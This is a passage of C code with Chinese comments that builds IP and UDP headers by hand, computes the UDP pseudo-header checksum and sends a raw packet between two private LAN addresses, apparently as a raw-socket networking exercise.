ipHd->saddr = inet_addr("192.168.141.128");//源IP
ipHd->daddr = inet_addr("192.168.141.1");//目的IP
//校验IP报文首部(不会)
ipHd->check = checksum((unsigned short *) ipHd, 20);
/*udp报文*/
struct udphdr *udpHdr = (struct udphdr *) (buf + 14 + 20);//buf+mac报文长度+IP报文长度
udpHdr->source = htons(8000);//非必要,除非需要对方回数据给你
udpHdr->dest = htons(8000);//必须值,指定要发送目的地的端口
udpHdr->uh_ulen = htons(8 + data_len);//UDP数据报长度 -> UDP首部长度 + 数据长度
udpHdr->check = htons(0);//和IP报文一样,先置零,后计算填充
//拷贝数据到UDP数据部分
memcpy(buf + (14 + 20 + 8), data, data_len);
//创建伪头部
unsigned char checksumPackage[512] = "";
struct pseudoHeader *udpPseudo = (struct pseudoHeader *) checksumPackage;
udpPseudo->sAddr = inet_addr("192.168.141.128");
udpPseudo->dAddr = inet_addr("192.168.141.1");
udpPseudo->flag = 0;
udpPseudo->pro = 17;//协议
udpPseudo->len = htons(8 + data_len);//UDP头部长度 + 数据长度
//组校验包,在伪首部后面加上UDP首部和数据
memcpy(checksumPackage + 12, buf + 14 + 20, 8 + data_len);
//进行校验,得到校验和并赋值
udpHdr->check = checksum((unsigned short *) checksumPackage, 8 + 12 + data_len);//udp首部 + 伪首部 + 数据长度
SendTo(sockFd, buf, 14 + 20 + 8 + data_len, "ens33");
//释放资源
close(sockFd);
return 0;
}